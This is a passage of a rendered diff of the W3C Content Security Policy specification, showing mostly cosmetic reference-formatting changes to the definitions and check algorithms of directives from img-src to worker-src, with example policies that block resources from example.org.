                     
                    6.1.6.1. img-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.6.2. img-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.7. manifest-src

                    -

                    The manifest-src directive restricts the URLs from which application +

                    The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "manifest-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: manifest-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match manifest-src's source list:

                    -
                    <link rel="manifest" href="https://example.org/manifest">
                    +
                    <link rel="manifest" href="https://example.org/manifest">
                     
                    6.1.7.1. manifest-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.7.2. manifest-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.8. media-src

                    -

                    The media-src directive restricts the URLs from which video, audio, +

                    The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "media-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: media-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match media-src's source list:

                    -
                    <audio src="https://example.org/audio"></audio>
                    -<video src="https://example.org/video">
                    -    <track kind="subtitles" src="https://example.org/subtitles">
                    -</video>
                    +
                    <audio src="https://example.org/audio"></audio>
                    +<video src="https://example.org/video">
                    +    <track kind="subtitles" src="https://example.org/subtitles">
                    +</video>
                     
                    6.1.8.1. media-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.8.2. media-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.9. object-src

                    -

                    The object-src directive restricts the URLs from which plugin +

                    The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "object-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: object-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match object-src's source list:

                    -
                    <embed src="https://example.org/flash"></embed>
                    -<object data="https://example.org/flash"></object>
                    -<applet archive="https://example.org/flash"></applet>
                    +
                    <embed src="https://example.org/flash"></embed>
                    +<object data="https://example.org/flash"></object>
                    +<applet archive="https://example.org/flash"></applet>
                     

                    If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src's value is 'none', but will otherwise be allowed.

                    Note: The object-src directive acts upon any request made on behalf of - an object, embed, or applet element. This includes requests + an object, embed, or applet element. This includes requests which would populate the nested browsing context generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.

                    Note: When a plugin resource is navigated to directly (that is, as a plugin document in the top-level browsing context or a nested browsing context, and not as an embedded - subresource via embed, object, or applet), any policy delivered along + subresource via embed, object, or applet), any policy delivered along with that resource will be applied to the plugin document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the @@ -3740,77 +4202,77 @@

                    pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.9.2. object-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.10. prefetch-src

                    -

                    The prefetch-src directive restricts the URLs from which resources may be +

                    The prefetch-src directive restricts the URLs from which resources may be prefetched or prerendered. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "prefetch-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: prefetch-src https://example.com/
                     

                    Fetches for the following code will return network errors, as the URLs provided do not match prefetch-src's source list:

                    -
                    <link rel="prefetch" src="https://example.org/"></link>
                    -<link rel="prerender" src="https://example.org/"></link>
                    +
                    <link rel="prefetch" src="https://example.org/"></link>
                    +<link rel="prerender" src="https://example.org/"></link>
                     
                    6.1.10.1. prefetch-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, prefetch-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, prefetch-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.10.2. prefetch-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, prefetch-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, prefetch-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.11. script-src

                    -

                    The script-src directive restricts the locations from which scripts +

                    The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "script-src"
                    @@ -3821,71 +4283,71 @@ 

                    script elements.

                    The script-src directive governs five things:

                      -
                    1. -

                      Script requests MUST pass through §4.1.3 Should request be blocked by Content Security Policy?.

                      -
                    2. -

                      Script responses MUST pass through §4.1.4 Should response to request be blocked by Content Security Policy?.

                      -
                    3. -

                      Inline script blocks MUST pass through §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. Their +

                    4. +

                      Script requests MUST pass through § 4.1.3 Should request be blocked by Content Security Policy?.

                      +
                    5. +

                      Script responses MUST pass through § 4.1.4 Should response to request be blocked by Content Security Policy?.

                      +
                    6. +

                      Inline script blocks MUST pass through § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying a script-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

                      -
                    7. +
                    8. The following JavaScript execution sinks are gated on the "unsafe-eval" source expression:

                      Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag, script-src-attr and script-src-elem are not used when performing this check, instead script-src (or it’s fallback directive) is always used.

                      -
                    9. -

                      Navigation to javascript: URLs MUST pass through §6.1.11.3 script-src Inline Check.

                      +
                    10. +

                      Navigation to javascript: URLs MUST pass through § 6.1.11.3 script-src Inline Check.

                    6.1.11.1. script-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

                      -
                    3. -

                      Return the result of executing §6.6.1.1 Script directives pre-request check on request, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

                      +
                    6. +

                      Return the result of executing § 6.6.1.1 Script directives pre-request check on request, this directive, and policy.

                    6.1.11.2. script-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

                      -
                    3. -

                      Return the result of executing §6.6.1.2 Script directives post-request check on request, response, this directive, and policy.

                      +
                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

                      +
                    6. +

                      Return the result of executing § 6.6.1.2 Script directives post-request check on request, response, this directive, and policy.

                    6.1.11.3. script-src Inline Check

                    This directive’s inline check algorithm is as follows:

                    Given an Element (element), a string (type), a policy (policy) and a string (source):

                      -
                    1. +
                    2. Assert: element is not null or type is "navigation".

                      -
                    3. -

                      Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    4. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

                      -
                    5. -

                      If the result of executing §6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, +

                    6. +

                      Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    7. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

                      +
                    8. +

                      If the result of executing § 6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

                      -
                    9. +
                    10. Return "Allowed".

                    6.1.12. script-src-elem

                    @@ -3893,18 +4355,18 @@

                    <
                    directive-name  = "script-src-elem"
                     directive-value = serialized-source-list
                     
                    -

                    The script-src-elem directive applies to all script requests and +

                    The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via script-src-attr.

                    As such, the following differences exist when comparing to script-src:

                      -
                    • +
                    • script-src-elem applies to inline checks whose |type| is "script" and "navigation" (and is ignored for inline checks whose |type| is "script attribute").

                      -
                    • +
                    • script-src-elem's value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval" check.

                      -
                    • +
                    • script-src-elem is not used as a fallback for the worker-src directive. The worker-src checks still fall back on the script-src directive.

                    @@ -3912,39 +4374,39 @@

                    pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

                      -
                    3. -

                      Return the result of executing §6.6.1.1 Script directives pre-request check on request, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

                      +
                    6. +

                      Return the result of executing § 6.6.1.1 Script directives pre-request check on request, this directive, and policy.

                    6.1.12.2. script-src-elem Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

                      -
                    3. -

                      Return the result of executing §6.6.1.2 Script directives post-request check on request, response, this directive, and policy.

                      +
                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

                      +
                    6. +

                      Return the result of executing § 6.6.1.2 Script directives post-request check on request, response, this directive, and policy.

                    6.1.12.3. script-src-elem Inline Check

                    This directive’s inline check algorithm is as follows:

                    Given an Element (element), a string (type), a policy (policy) and a string (source):

                      -
                    1. +
                    2. Assert: element is not null or type is "navigation".

                      -
                    3. -

                      Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    4. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src-elem, and policy is "No", return "Allowed".

                      -
                    5. -

                      If the result of executing §6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, +

                    6. +

                      Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    7. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src-elem, and policy is "No", return "Allowed".

                      +
                    8. +

                      If the result of executing § 6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source is "Does Not Match", return "Blocked".

                      -
                    9. +
                    10. Return "Allowed".

                    6.1.13. script-src-attr

                    @@ -3952,26 +4414,26 @@

                    <
                    directive-name  = "script-src-attr"
                     directive-value = serialized-source-list
                     
                    -

                    The script-src-attr directive applies to event handlers and, if present, +

                    The script-src-attr directive applies to event handlers and, if present, it will override the script-src directive for relevant checks.

                    6.1.13.1. script-src-attr Inline Check

                    This directive’s inline check algorithm is as follows:

                    Given an Element (element), a string (type), a policy (policy) and a string (source):

                      -
                    1. +
                    2. Assert: element is not null or type is "navigation".

                      -
                    3. -

                      Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    4. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, script-src-attr and policy is "No", return "Allowed".

                      -
                    5. -

                      If the result of executing §6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, +

                    6. +

                      Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    7. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, script-src-attr and policy is "No", return "Allowed".

                      +
                    8. +

                      If the result of executing § 6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

                      -
                    9. +
                    10. Return "Allowed".

                    6.1.14. style-src

                    -

                    The style-src directive restricts the locations from which style +

                    The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "style-src"
                    @@ -3979,37 +4441,37 @@ 

                    The style-src directive governs several things:

                      -
                    1. -

                      Style requests MUST pass through §4.1.3 Should request be blocked by Content Security Policy?. This +

                    2. +

                      Style requests MUST pass through § 4.1.3 Should request be blocked by Content Security Policy?. This includes:

                        -
                      1. +
                      2. Stylesheet requests originating from a link element.

                        -
                      3. -

                        Stylesheet requests originating from the @import rule.

                        -
                      4. +
                      5. +

                        Stylesheet requests originating from the @import rule.

                        +
                      6. Stylesheet requests originating from a Link HTTP response header field [RFC8288].

                      -
                    3. -

                      Responses to style requests MUST pass through §4.1.4 Should response to request be blocked by Content Security Policy?.

                      -
                    4. -

                      Inline style blocks MUST pass through §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. The +

                    5. +

                      Responses to style requests MUST pass through § 4.1.4 Should response to request be blocked by Content Security Policy?.

                      +
                    6. +

                      Inline style blocks MUST pass through § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a style-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

                      -
                    7. +
                    8. The following CSS algorithms are gated on the unsafe-eval source expression:

                        -
                      1. +
                      2. insert a CSS rule

                        -
                      3. +
                      4. parse a CSS rule,

                        -
                      5. +
                      6. parse a CSS declaration block

                        -
                      7. +
                      8. parse a group of selectors

                      This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML].

                      @@ -4019,54 +4481,54 @@
                      pre-request check is as follows:

                      Given a request (request) and a policy (policy):

                        -
                      1. -

                        Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                        -
                      2. -

                        If the result of executing §6.7.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

                        -
                      3. -

                        If the result of executing §6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this +

                      4. +

                        Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                        +
                      5. +

                        If the result of executing § 6.7.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

                        +
                      6. +

                        If the result of executing § 6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

                        -
                      7. -

                        If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                      8. +

                        If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                        -
                      9. +
                      10. Return "Allowed".

                      6.1.14.2. style-src Post-request Check

                      This directive’s post-request check is as follows:

                      Given a request (request), a response (response), and a policy (policy):

                        -
                      1. -

                        Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                        -
                      2. -

                        If the result of executing §6.7.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

                        -
                      3. -

                        If the result of executing §6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this +

                      4. +

                        Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                        +
                      5. +

                        If the result of executing § 6.7.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

                        +
                      6. +

                        If the result of executing § 6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

                        -
                      7. -

                        If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                      8. +

                        If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                        -
                      9. +
                      10. Return "Allowed".

                      6.1.14.3. style-src Inline Check

                      This directive’s inline check algorithm is as follows:

                      Given an Element (element), a string (type), a policy (policy) and a string (source):

                        -
                      1. -

                        Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                        -
                      2. -

                        If the result of executing §6.7.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

                        -
                      3. -

                        If the result of executing §6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, +

                      4. +

                        Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                        +
                      5. +

                        If the result of executing § 6.7.4 Should fetch directive execute on name, style-src and policy is "No", return "Allowed".

                        +
                      6. +

                        If the result of executing § 6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

                        -
                      7. +
                      8. Return "Allowed".

                      This directive’s initialization algorithm is as follows:

                      -

                      Do something interesting to the execution context in order to lock down +

                      Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so let’s work with them to put something reasonable together.

                      6.1.15. style-src-elem

                      @@ -4074,56 +4536,56 @@

                      directive-name = "style-src-elem" directive-value = serialized-source-list

                    -

                    The style-src-elem directive governs the behaviour of styles +

                    The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.

                    6.1.15.1. style-src-elem Pre-request Check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

                      -
                    7. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    8. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    9. +
                    10. Return "Allowed".

                    6.1.15.2. style-src-elem Post-request Check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

                      -
                    7. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    8. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    9. +
                    10. Return "Allowed".

                    6.1.15.3. style-src-elem Inline Check

                    This directive’s inline check algorithm is as follows:

                    Given an Element (element), a string (type), a policy (policy) and a string (source):

                      -
                    1. -

                      Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, +

                    4. +

                      Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, style-src-elem and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.16. style-src-attr

                    @@ -4131,214 +4593,214 @@

                    directive-name = "style-src-attr" directive-value = serialized-source-list

                    -

                    The style-src-attr directive governs the behaviour of style attributes.

                    +

                    The style-src-attr directive governs the behaviour of style attributes.

                    6.1.16.1. style-src-attr Inline Check

                    This directive’s inline check algorithm is as follows:

                    Given an Element (element), a string (type), a policy (policy) and a string (source):

                      -
                    1. -

                      Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, style-src-attr and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, +

                    4. +

                      Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, style-src-attr and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.17. worker-src

                    -

                    The worker-src directive restricts the URLs which may be loaded as +

                    The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "worker-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: worker-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match worker-src's source list:

                    -
                    <script>
                    -  var blockedWorker = new Worker("data:application/javascript,...");
                    -  blockedWorker = new SharedWorker("https://example.org/");
                    -  navigator.serviceWorker.register('https://example.org/sw.js');
                    -</script>
                    +
                    <script>
                    +  var blockedWorker = new Worker("data:application/javascript,...");
                    +  blockedWorker = new SharedWorker("https://example.org/");
                    +  navigator.serviceWorker.register('https://example.org/sw.js');
                    +</script>
                     
                    6.1.17.1. worker-src Pre-request Check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

